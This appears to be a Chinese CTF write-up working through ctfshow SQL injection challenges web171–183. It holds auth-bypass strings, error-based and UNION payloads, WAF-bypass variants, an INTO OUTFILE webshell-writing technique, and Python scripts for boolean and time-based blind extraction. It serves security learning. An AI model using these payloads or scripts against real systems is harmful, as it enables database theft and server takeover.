0x01前置知识

借鉴文章:https://fushuling.com/index.php/2023/04/07/sql%e6%b3%a8%e5%85%a5%e4%b8%80%e5%91%bd%e9%80%9a%e5%85%b3/

sql注入

因为题目比较多,不让文章内容以及目录太多不方便查看,基础知识已经转到另一篇sql注入了{深入浅出sql注入},不过一些知识还是会在下面的题目中提到

万能密码

永真语句

1
2
3
' or 1=1 

' or 'or'='or'

通过一个永真判断登录,其中,1=1恒为真。由于OR运算符的两侧只要有一侧为真,整个表达式就为真,因此整个查询条件就恒为真。这导致无论用户名是什么,只要密码是万能密码,用户都能通过验证。

报错注入

通过特殊函数的错误使用使其参数被页面输出,有点像SSTI。当然,这种注入可以成功的前提是服务器开启报错信息返回,也就是发生错误时返回报错信息,常见的利用函数有常见的利用函数有:exp()、floor()+rand()、**updatexml()**、**extractvalue()**

利用updatexml()进行报错注入

Updatexml()函数:

  • 主要用于更新XML类型的数据。
  • 适用于需要修改XML数据中的节点值或插入新节点的场景。
  • 在数据库维护和数据更新方面有着广泛的应用。

函数原型:updatexml(‘XML_document’,’Xpath_string’,’New_value’)

解释:updatexml(‘目标xml文件名’,’在xml中查询的字符串’,’替换后的值’)

查询数据库:id=1’ and (select updatexml(1,concat(0x7e,(database()),0x7e),1))#

查询表名:id=1’ and (select updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit x,1),0x7e),1))#

查询列/字段名:id=1’ and (select updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit x,1),0x7e),1))#

查询数据:id=1’ and (select updatexml(1,concat(0x7e,(SELECT group_concat(user,0x3a,avatar) from users limit 0,1),0x7e),1))#

Limit x,1中x为任意值

利用extractvalue()进行报错注入

Extractvalue()函数:

  • 主要用于从XML数据中查询并返回包含指定XPath字符串的字符串。
  • 适用于从XML数据中提取特定信息的场景。
  • 在数据查询和数据解析方面发挥着重要作用。

函数原型:extractvalue(xml_document,Xpath_string)

正常语法:extractvalue(xml_document,Xpath_string);

第一个参数:xml_document是string格式,为xml文档对象的名称

第二个参数:Xpath_string是xpath格式的字符串

作用:从目标xml中返回包含所查询值的字符串

id=’and(select extractvalue(“anything”,concat(‘~’,(select语句))))

查数据库名:id=’and (select extractvalue(1,concat(0x7e,database())))#

在爆表、列、值的时候用group_concat函数把查询结果分组聚合,然后用and xxxxx not in ‘xxx’,’xxx’过滤掉前面回显的

爆表名:id=’and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))#

**爆字段名:**id=’and (select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=”table_name”))))#

爆数据:id=’and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from database().table_name))))#

利用逻辑代数连接词/条件函数,让页面返回的内容/响应时间与正常的页面不符,然后通过字符一位一位匹配所需要的名称

常见的函数:

1
2
3
4
5
6
length(str) :返回字符串str的长度
substr(str, pos, len) :将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len) :跟上面的一样,截取字符串
ascii(str) :返回字符串str的最左面字符的ASCII代码值
ord(str) :将字符或布尔类型转成ascll码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

sql注入getshell

前提:

  • 存在SQL注入漏洞
  • web目录具有写入权限
  • 找到网站的绝对路径
  • secure_file_priv没有具体值(secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。)
  • getshell是指攻击者通过利用SQL注入获取系统权限的方法,Webshell提权分两种:一是利用outfile函数,另外一种是利用**–os-shell**;UDF提权通过堆叠注入实现;MOF提权通过”条件竞争”实现

union select写入

1
http://172.16.55.130/work/sqli-1.php?id=@ union select 1,2,3,4,'<?php phpinfo() ?>' into outfile 'C:/wamp64/www/work/WebShell.php'

lines terminated by 写入

1
2
http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/Webshell.php' lines terminated by '<?php phpinfo() ?>';
原理:通过select语句查询的内容写入文件,也就是 1 into outfile 'C:/wamp64/www/work/webshell.php' 这样写的原因,然后利用 lines terminated by 语句拼接webshell的内容。lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。

lines starting by 写入

1
2
http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>';
#原理:利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容。

fields terminated by 写入

1
2
http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>';
#利用 fields terminated by 语句拼接webshell的内容。fields terminated by可以理解为以每个字段的位置添加 xx 内容。

2.bypass技巧

通用绕过

大小写绕过,双写绕过

注释符(关键字绕过)

比如用unio<>n代替union,用se/**/lect代替select

绕过注释符

我们可以用”||”1、” or “1”=”1,甚至是”union select 1,2,”3进行闭合

绕过空格

编码绕过:%20 %09 %0a %0b %0c %0d %a0 %00

1
内联注释:/**/ /*字符串*/

括号绕过:即添加括号代替空格,比如我们的正常语句为SELECT 用户名 FROM sheet1``,现在我们就可以改成SELECT(用户名)FROM(sheet1)

绕过引号

转为16进制字符串,这样就不用使用引号

绕过逗号

from to

盲注的时候为了截取字符串,我们往往会使用substr(),mid()。这些子句方法都需要使用到逗号,对于substr()和mid()这两个方法可以使用from to的方式来解决:

1
2
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

等价于mid/substr(database(),1,1)

使用join

select 1,2等价于select * from (select 1)a join (select 2)b

使用like

select ascii(mid(user(),1,1))=114等价于select user() like ‘r%’,即逐个字符串比较,我们可以暴力破解%前的字符串,直到爆破出select user() like ‘root@localhost’,得到真正的用户名

使用offset

盲注的时候除了substr()和mid()需要使用逗号,limit也会使用逗号,比如语句select * from sheet1 limit 0,1 ,这时我们可以使用select * from sheet1 limit 1 offset 0 等效替代

绕过or and xor not

1
2
3
4
and=&&
or=||
xor=^
not=!

0x02正题

web171

#正常的联合注入

image-20241203210228202

我们先来看一下那个sql语句哈

1
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
  • 一个SQL查询语句被赋值给变量 $sql。查询的目的是从名为 user 的表中选择 usernamepassword 列的值。
  • 查询条件是:用户名不等于 'flag',并且 id 列的值等于通过 GET 请求传递的参数 id 的值。这里存在一些潜在的安全风险,如SQL注入攻击。
  • 最后,查询结果将被限制为最多返回一行数据(LIMIT 1)。

$_GET['id']

  • 这是 PHP 中用于从 URL 查询字符串中获取参数值的方法。在这种情况下,它试图获取名为 id 的参数的值。

所以的话这里是不能直接通过搜索flag去拿到flag了,只能老老实实的进行sql注入

id=1

image-20241203210742110

id=2

image-20241203210756376

这里的话就是我们传参的地方

我们先用单引号看看是否存在注入

1.判断是否存在注入

我们用最经典的单引号判断法

在参数后面加上单引号,比如: http://xxx/abc.php?id=1' 如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

如果未报错,不代表不存在 Sql 注入,因也有可能页面对单引号做了过滤

id=1’

image-20241203210911573

这里的话是出现了请求异常,说明可能存在sql注入

2.判断 Sql 注入的类型

通常sql注入的类型分为两种类型,字符型和数字型

其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。

以使用经典的 and 1=1 和 and 1=2 来判断

id=1 and 1=1–+页面依旧正常运行,继续下一步

id=1 and 1=2–+页面正常运行,说明可能不是数字型,我们然后按字符型的进行判断一下

id=1’ and ‘1’=’1’–+页面正常运行,继续下一步

id=1’ and ‘1’=’2’–+页面返回为空,确定是字符型注入

3.查询字段数

1’ order by 3–+页面正常

image-20241203213201159

1’ order by 4–+页面报错

image-20241203213245865

所以字段数是3

4.寻找回显位置

-1’ union select 1,2,3–+

image-20241203213732615

可以看到ID,用户名和密码都是回显位置,都可以拿来进行注入

这里为什么用-1而不是1呢?

因为id=-1的话在数据库中是没有结果的,正常的数据库都是从1开始排列的,这里的话我们需要用-1保证前面的查询查不出数据以确保后面的联合查询能正常查询,假如我们用1的话,运行结果就是

image-20241203213928594

这里会把前面的1的查询结果也反馈出来,这样有时候会影响我们的观看,所以直接用-1去筛除掉前面的查询

5.查询数据库

我们选定3作为我们的注入点

-1’ union select 1,2,database()–+

image-20241203214647760

6.查询表名

-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema = ‘ctfshow_web’)–+

image-20241203214659894

7.查询表中列名

-1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name = ‘ctfshow_user’)–+

image-20241203214736634

8.查询列中数据

因为这里的话是id,username和password,猜测username中应该有一个flag字段,而对应的password字段就是flag的值

-1’ union select 1,2,password from ctfshow_user where username = ‘flag’ –+

image-20241203215507437

或者也可以用

-1’ union select 1,username,password from ctfshow_user where username = ‘flag’ –+

image-20241204111854584

这里的话可以看到用户名就是flag,而密码就是我们flag的值,这里为什么要写出来这步呢,下面就知道了

web172

#username中的flag绕过

题目的话是在SELECT模块的无过滤2

先进行测试一下

其实是和171是一样的,只不过字段数变成2了

image-20241203220549696

然后这里查出来是两个表

image-20241203220819445

先查第一个表ctfshow_user

-1’ union select 1,(select password from ctfshow_user where username=’flag’)–+

image-20241203221055964

那就是在第二个表了

-1’ union select 1,(select password from ctfshow_user2 where username=’flag’)–+

image-20241203221128712

这里的话有一个点我们要注意,就是那个返回逻辑

image-20241204112312637

这里的话是对返回结果里的username进行了一个过滤,具体是怎么样一个运行结果呢?我们测试一下

-1’ union select username,(select password from ctfshow_user2 where username=’flag’)–+

image-20241204112433438

这里可以看到当我们尝试将username的值返回的时候,因为username就是flag,所以会在返回逻辑中被过滤,所以这里会报错,上面的话是我们只是返回username为flag的password值,并不会碰到过滤,所以我们上面的语句才能查询到flag

web173

#绕过flag过滤

题目的话是在SELECT模块的无过滤3

简单测试一下字段数和注入位置

字段数为3,回显位置为ID,用户名和密码

这道题有三个表

-1’ union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=’ctfshow_web’)–+

image-20241203221604772

三个表的列名都是一样的,id,username和password,那就试着一个个找一下

最后发现flag在ctfshow_user3中

-1’ union select 1,2,(select password from ctfshow_user3 where username=’flag’)–+

image-20241204113125580

然后直接拿到flag了

但是其实这道题是过滤了返回结果中的flag字段的,用-1’ union select id,username,password from ctfshow_user3 where username=’flag’ –+可以看到答案给过滤了,因为恰好我们的flag的值是以ctfshow{}的格式出现的,所以我们上面的语句并不会碰上过滤,如果我们需要返回username的话,我们需要用hex函数将username的flag转换成16进制(使用hex或者使用reverse、to_base64等函数加密)

‘ union select id,hex(username),password from ctfshow_user3 where username=’flag’–+

image-20241204113153092

666C6167解密出来就是flag

web174

#布尔盲注

题目的话是在SELECT模块的无过滤4

测试到字段数为2,但是后面的联合查询都没返回结果

image-20241203224159902

image-20241203224304435

一开始没看到那个返回逻辑,当作黑盒测试去做了,所以下面就是我自己的分析:这里我们还是可以看到结果是不一样的,猜测过滤了返回的内容,为什么呢?因为我们确定了我们的字段数是2,在两个测试中第一个是百分之百会出现回显的,但是这里没有出现回显也没报错,以此也可以推断出这里是过滤了返回内容,而且过滤的返回内容可能包含数字,然后我们在返回逻辑中也看到了过滤,我们来分析一下

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

preg_match匹配返回结果中包含flag或数字的内容,就是过滤了返回结果中的数字和flag

image-20241204114035133

这里可以看到id=2的时候密码是111也就是有数字,那我们输入id=2试一下

image-20241204114112279

这里id=2没报错,说明是有数据的,但是这里显示无数据,就是被过滤了

所以这里的话是打不了正常的联合注入了,因为内容都被过滤了,根据上面我进行的两个测试不同的结果,所以我们可以试一下盲注,通过回显的不同去查询数据库,表名,表中列名,数据

盲注的话手工会特别繁琐,所以我们用脚本去打

布尔盲注脚本

(这个脚本相对来说适合学习,可以看看190的脚本,这个更适合用来注入)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import requests
#GET请求的布尔盲注
#爆破数据库的长度
def brute_force_database_length(url, headers):
databaselen = 0
for l in range(1,50):
databaselen_payload = f"?id=1' and length(database())={l}--+"
response = requests.get(url + databaselen_payload, headers=headers)
if 'admin'in response.text:#判断是否存在注入
databaselen = l
break
print('数据库名字长度为: '+ str(databaselen))
return databaselen

#爆破数据库的名字
def brute_force_database_name(url, headers, databaselen):
databasename = ''
for l in range(1,databaselen+1):#用来爆破数据库的字符
for i in range(32,128):
databasechar_payload = f"?id=1' and ascii(substr(database(),{l},1))='{i}'--+"
response = requests.get(url + databasechar_payload, headers=headers)
if 'admin'in response.text:#判断是否存在注入
databasename += chr(i)
print(databasename)
break
print('数据库名字为: '+ str(databasename))
return databasename
#爆破表的个数
def brute_force_table_count(url, headers, databasename):
tablecount = 0
for l in range(1,50):#用来爆破表的个数
tablecount_payload = f"?id=1' and (select count(table_name) from information_schema.tables where table_schema='{databasename}') ={l}--+"
response = requests.get(url + tablecount_payload, headers=headers)
if 'admin'in response.text:#判断是否存在注入
tablecount = l
break
print(f'表的个数为: {tablecount}')
return tablecount
#爆破表的名字
def brute_force_table_name(url, headers, tablecount,databasename):
tables=[]
for t in range(0,tablecount):
table_name = ''
tablelen = 0
for l in range(1, 50):
tablelen_payload = f"?id=1' and length((select table_name from information_schema.tables where table_schema = '{databasename}' limit {t+0}, 1))={l}--+"
response = requests.get(url + tablelen_payload, headers=headers)
if 'admin'in response.text:
tablelen = l
break
print(f'表{t+1}的长度为: {tablelen}')
for m in range(1, tablelen+1):
for i in range(32, 128):
table_name_payload = f"?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = '{databasename}' limit {t+0}, 1),{m},1))='{i}'--+"
response = requests.get(url + table_name_payload, headers=headers)
if 'admin'in response.text:
table_name += chr(i)
print(table_name)
break
print(f'表{t+1}的名字为: {table_name}')
tables.append(table_name)
return tables
'''
#爆破字段的个数
def brute_force_column_count(url, headers, tables):
column_count = 0
for l in range(1, 50):
column_countpayload = f"?id=1' and (select count(column_name) from information_schema.columns where table_name='{tables}')={l}--+"
response = requests.get(url + column_countpayload, headers=headers)
if 'admin'in response.text:
column_count = l
break
print(f'表 {tables} 有 {column_count} 字段.')
return column_count

#查询表中字段
def brute_force_column_name(url, headers,tables, column_count):
columns = []
for c in range(column_count):
column_name = ''
for l in range(1, 50):
column_count_payload = f"?id=1' and length((SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{tables}' LIMIT {c},1))={l}--+"
response = requests.get(url + column_count_payload, headers=headers)
if 'admin'in response.text:
column_count = l
print(f'表 {tables} 中字段 {c+1} 的个数为: {column_count}')
for m in range(1, column_count+1):
for i in range(32, 128):
column_name_payload = f"?id=1' and ascii(SUBSTR((SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{tables}' LIMIT {c},1),{m},1))='{i}'--+"
response = requests.get(url + column_name_payload, headers=headers)
if 'admin'in response.text:
column_name += chr(i)
print(column_name)
break
print(f'表 {tables} 中字段 {c+1} 的名字为: {column_name}')
columns.append(column_name)
return columns
'''
#查询表中数据
def brute_force_table_data(url, headers,tables):
data = ''
for c in range(0,100):#用来爆破表中的数据
for i in range(32,128):
data_payload = f"?id=1' and ascii(substr((select password from {tables} where username='flag'),{c+0},1))='{i}'--+"
response = requests.get(url + data_payload, headers=headers)
if 'admin'in response.text:#判断是否存在注入
data += chr(i)
print(data)
break
print('flag为: '+ str(data))
return data
if __name__ == "__main__":
url = 'http://598dad09-8ca9-4769-9d38-8f62ee4186c7.challenge.ctf.show/api/v4.php'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36'
}
databaselen = brute_force_database_length(url, headers)
databasename = brute_force_database_name(url, headers, databaselen)
tablecount = brute_force_table_count(url, headers, databasename)
tables = brute_force_table_name(url, headers, tablecount, databasename)
for table in tables:
#column_count = brute_force_column_count(url, headers, table)
#columns = brute_force_column_name(url, headers,table, column_count)
data = brute_force_table_data(url, headers,table)

运行结果

image-20241204195501485

这里还有一种方法

REPLACE替换

用replace替换数字成其他的字符,然后再替换回去即可

先贴一个替换字符的脚本

1
2
3
4
5
6
7
8
t = 'password'
for i in range(10):
# 将数字字符转换为对应的大写字母(0 -> A, 1 -> B, ..., 9 -> J)
r = chr(ord('A') + i) # 直接计算 A-J
s = f"replace({t},'{i}','{r}')"
t = s
print(s)
#输出结果replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','A'),'1','B'),'2','C'),'3','D'),'4','E'),'5','F'),'6','G'),'7','H'),'8','I'),'9','J')

payload:

1
' union select to_base64(username),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','A'),'1','B'),'2','C'),'3','D'),'4','E'),'5','F'),'6','G'),'7','H'),'8','I'),'9','J') from ctfshow_user4 --+

这里的话对password的字符中的数字替换成字母,这样返回的时候就不会被返回逻辑匹配到,拿到flag后再把里面的替换字母换回来就行

不过这里最好的话是在替换字符前后加上一些标志性的字符代表这是被替换后的字符,不然会混淆

web175

#时间盲注

1
2
3
4
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

先看返回逻辑

  • 正则表达式/[\x00-\x7f]/i
    • [\x00-\x7f]:该范围表示所有 ASCII 字符,从 0(\x00)到 127(\x7f)。
    • /i:这个修饰符表示匹配不区分大小写(在这个特定的范围中没有实际影响,因为范围本身与大小写相关)。

正常的注入应该是不可以打的,看看跟上面一样试一下布尔盲注

我们先测试一下成功回显和失败回显

image-20241205213956527

这种是成功回显

image-20241205214014017

这种是失败回显,判断是两个字段

1’ union select 1,2–+

image-20241205214131102

但是后面做的时候发现布尔盲注打不了,我们试一下时间盲注

时间盲注就是通过时间函数使SQL语句执行时间延长,从页面响应时间判断条件是否正确的一种注入方式。简单说就是,利用sleep函数,制造时间延迟,由回显时间来判断是否报错。

适用场景:页面不会返回错误信息,只会回显一种界面

官方理解:利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。

1
1' and sleep(6)--+

发现页面确实延时了6秒,那就学一下时间盲注的脚本吧

关于时间盲注的payload在文章上面有哈,这里就不赘述了,我们这里主要讲布尔盲注和时间盲注在注入成功时候的判断

1
2
3
4
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds

这里的话对注入前后进行一个时间的记录,然后通过判断时间差去判断是否注入成功

因为上面的布尔盲注的话是写了完整的注入脚本的,所以我这里就简略写了

最好把sleep的时间拉长一点,不然容易出错

时间盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import datetime
import time
def brute_force_table_data(url):
data = ''
for c in range(0,100):#用来爆破表中的数据
for i in range(32,128):
payload = f"?id=1' and if(ascii(substr((select password from ctfshow_user5 where username='flag'),{c+0},1))='{i}',sleep(5),0)--+"
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 5:#超时时间为5秒
data += chr(i)
print(data)
break
print('flag为: '+ str(data))
return data
if __name__ == "__main__":
url = 'http://4a879471-5db2-4202-876f-d5c67c22bc4f.challenge.ctf.show/api/v5.php'
flag = brute_force_table_data(url)

这里另外讲一个写木马的情况、

先给出payload

1
' union select username, password from ctfshow_user5 into outfile '/var/www/html/flag.txt' %23

通过 SQL 查询将用户表中列出的用户名和密码写入服务器的一个文件flag.txt

into outfile命令

  • INTO OUTFILE是一个SQL命令,用于将查询结果写入文件。

然后我们访问这个flag.txt

image-20241206141100086

过滤的sql注入

这里的话会反复去写payload,因为想锻炼一下自己的注入语句的编写能力,所以会显得繁琐赘余

web176

#select绕过

开始过滤了

正常的页面,但是这里没给过滤了什么,只能自己测试了

测试过程

1
2
3
4
5
6
7
8
9
10
11
12
1'闭合发现出错,说明是存在注入点且没有过滤单引号
1 and 1=1--+
1 and 1=2--+页面都正常
1' and '1'='1'--+
1' and '1'='2'--+出现无回显,说明是字符型注入
判断字段数
1' order by 3--+正常
1' order by 4--+出错,判断字段数为3
到这里还是没有过滤的字符,我们继续
判断回显位置
-1' union select 1,2,3--+这里看到出错,判断这里是有过滤字符的,要么是union要么是select或者逗号
逐个测试一下发现是过滤了select

绕过select过滤

可以用双写或者大小写绕过关键字(不过这里学弟反馈好像双写是无法去绕过的)

1
2
3
4
5
6
7
8
9
-1' union sElect 1,2,3--+成功回显,我们选一个进行注入就行
爆破数据库名
-1' union sElect 1,database(),3--+数据库名为ctfshow_web
爆破表名
-1' union sElect 1,(sElect group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),3--+表名为ctfshow_user
爆破字段
-1' union sElect 1,(sElect group_concat(column_name)from information_schema.columns where table_name='ctfshow_user'),3--+
爆破数据
-1' union sElect 1,(sElect group_concat(password) from ctfshow_web.ctfshow_user where username = 'flag'),3--+

web177

#绕过注释符和空格

直接给测试和注入过程了

1
2
3
1'和上题一样没过滤单引号
1 and 1=1--+发现无回显,这里应该是过滤了什么才导致语句查询不成功
测试后发现过滤了注释符号--+和#,过滤了空格

绕过注释符过滤

注释符可以用%23进行绕过

绕过空格过滤

空格可以用编码或者联合注释符(/**/)去绕过

常见的可以代替空格的方法

%0c换页符

%09制表符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1/**/and/**/1=1%23这样正常回显,我们继续
1/**/and/**/1=2%23正常回显
1'/**/and/**/'1'='1'%23正常回显
1'/**/and/**/'1'='2'%23无回显,说明是字符型注入
判断字段数
1'/**/order/**/by/**/3%23
1'/**/order/**/by/**/4%23报错说明字段数是3
判断回显位置
-1'/**/union/**/select/**/1,2,3%23成功回显,本来以为会过滤关键字的但是这题好像又没有
爆破数据库
-1'/**/union/**/select/**/1,database(),3%23数据库为ctfshow_web
爆破表
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'),3%23表名为ctfshow_user
爆破表中字段
-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'),3%23有三个字段,我们直接像上一题一样爆password就行
爆数据
-1'/**/union/**/select/**/1,(select/**/group_concat(password)from/**/ctfshow_web.ctfshow_user/**/where/**/username='flag'),3%23

176-177也可以用万能密码

万能密码

1
1'/**/or/**/'1'='1'%23

web178

#绕过空格和*号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1'没发现过滤单引号
1 and 1=1%23无回显,看看又过滤了什么
后来测试发现是过滤了空格和*号,那我们直接换个方式绕过空格就可以了,用%09(制表符tab)去绕过
1'%09and%09'1'='1'%23正常回显
1'%09and%09'1'='2'%23无回显,说明是字符型注入
判断字段数
1'%09order%09by%093%23有回显
1'%09order%09by%094%23无回显
判断回显位置
-1'%09union%09select%091,2,3%23
爆破数据库
-1'%09union%09select%091,database(),3%23
爆破表名
-1'%09union%09select%091,(select%09group_concat(table_name)from%09information_schema.tables%09where%09table_schema='ctfshow_web'),3%23
爆破表中列
-1'%09union%09select%091,(select%09group_concat(column_name)from%09information_schema.columns%09where%09table_name='ctfshow_user'),3%23
爆破数据
-1'%09union%09select%091,(select%09group_concat(password)from%09ctfshow_web.ctfshow_user%09where%09username='flag'),3%23

万能密码也可以用,但要注意过滤

web179

#绕过空格plus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1'没过滤单引号
但是这里还是过滤了空格,包括联合注释,%09制表符,我们又得重新找了
1'%0cand%0c'1'='1'%23
1'%0cand%0c'1'='2'%23无回显判断是字符型
判断字段数
1'%0corder%0cby%0c3%23有回显
1'%0corder%0cby%0c4%23无回显
判断回显位置
-1'%0cunion%0cselect%0c1,2,3%23
爆破数据库
-1'%0cunion%0cselect%0c1,database(),3%23
爆破表名
-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(table_name)from%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'),3%23
爆破表中列
-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(column_name)from%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'),3%23
爆破数据
-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(password)from%0cctfshow_web.ctfshow_user%0cwhere%0cusername='flag'),3%23

万能密码一样行得通

web180

#绕过%23注释符,用单引号闭合

这里好像把注释的符号过滤了,那我们只能试着去闭合他了

1
2
3
4
5
6
7
8
9
10
11
12
1'%0cand'1'='1
1'%0cand'1'='2无回显,为字符型注入
判断回显位置
-1'%0cunion%0cselect%0c'1','2','3
爆数据库
-1'%0cunion%0cselect%0c'1',database(),'3
爆表名
-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(table_name)from%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'),'3
爆破字段
-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(column_name)from%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'),'3
爆破数据
-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(password)from%0cctfshow_web.ctfshow_user%0cwhere%0cusername='flag'),'3

我这里试了一下burp suite的fuzz测试

burpsuite Fuzzing

Burpsuite Fuzzing主要是通过Burpsuite Intruder模块,这好比是一把枪,通过特定设置把子弹(payload)射向目标(target-site)

我们先去找一下这个所谓的子弹

Fuzzdb:https://github.com/fuzzdb-project/fuzzdb

这是一个fuzz测试的payload库,上面有大量的测试payload,非常实用,我们本次sql注入就用到它。

然后我们去进行fuzzing测试

用bp抓包,发送到intruder爆破模块,设置变量和payload

image-20241206171953690

image-20241206172001781

导入我们刚刚下载的fuzzing中的payload

image-20241206172054640

目录下的xplatform.txt,然后就可以进行爆破了,然后可以根据response包去判断哪些字符是被过滤了哪些字符能用

image-20241206173227672

web181

#万能密码及其变式解题

这里的waf终于给出了语句

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

分析一下过滤了什么

空格( )星号(*)制表符(\x09)换行符(\x0a)回车符(\x0b)换页符(\x0c)空字符(\x00)回车换行符(\x0d)非断行空格(\xa0)数字符号(\x23#)单词 file单词 into单词 select

知道过滤了什么就试着去注入一下吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1‘回显出错,判断存在注入点
原句是
1' and '1'='1
因为空格被过滤了,我们试着绕过空格过滤,测试后发现%0c可以打得通,所以这道题告诉我们,真实的过滤还是得通过自己测试才知道,有时候题目给出来的也可能是障眼法,当然也可能是出题人的疏漏
1'%0cand'1'='1返回正确
1'%0cand%0c'1'='2返回错误,判断是字符型注入
1'%0corder%0cby%0c3--%01正常
1'%0corder%0cby%0c4--%01错误,说明字段数是3
1'%0cunion%0cseselectlect%0c1,2,3--%01显示无数据,说明双写不能绕过这个验证
我们这里因为过滤了select语句,我们可以试一下万能密码
'or'1'='1'--%0c
或者也可以构造其他的变式
id=0'||username='flag
这些方法有时候也是一种解题的方法

web182

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

这次flag被禁了,不过万能密码还是可以做的

web183

#布尔盲注

1
2
3
4
5
6
7
8
9
10
11
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";


//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}

//返回用户表的记录总数
$user_count = 0;

黑名单增加了or和and还有我们的空字符x00

这里的话会返回我们用户表的记录总数,我们可以试着查一下我们的ctfshow_user表,注意是post传参

image-20241210161240139

然后我们再试着查询一个不存在的表1

image-20241210161357615

发现这里是0,然后我们可以知道这里的话我们如果查询到正确的数据,那么就会返回一个具体的内容,如果查询的是不存在的数据就会返回0,很符合我们盲注的特点

这题的解法是在已知表名的情况下实现的,布尔盲注思路:利用布尔值,对 flag 进行挨个判断就行

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = 'http://b8aa6cf2-c17c-4765-b611-53f7dc50fd1f.challenge.ctf.show/select-waf.php'
strlist = '{}0123456789-abdcefghijklmnopqrstuvwxyz_'
flag = ''

for j in range (0, 100):
#对 flag 按位匹配
for i in strlist:
data = {
'tableName': "`ctfshow_user`where`pass`like'ctfshow{}%'".format(flag+i)
}
respond = requests.post(url, data=data) # 获取页面代码
respond = respond.text # 解析成字符串类型
if 'user_count = 1' in respond: # 匹配到正确的 flag
flag += i
print('ctfshow{}'.format(flag))
break
else:print('==================='+i+'错误')
if flag[-1] == '}':
exit() #判断 flag 是否获取完整
print('ctfshow{}'.format(flag))

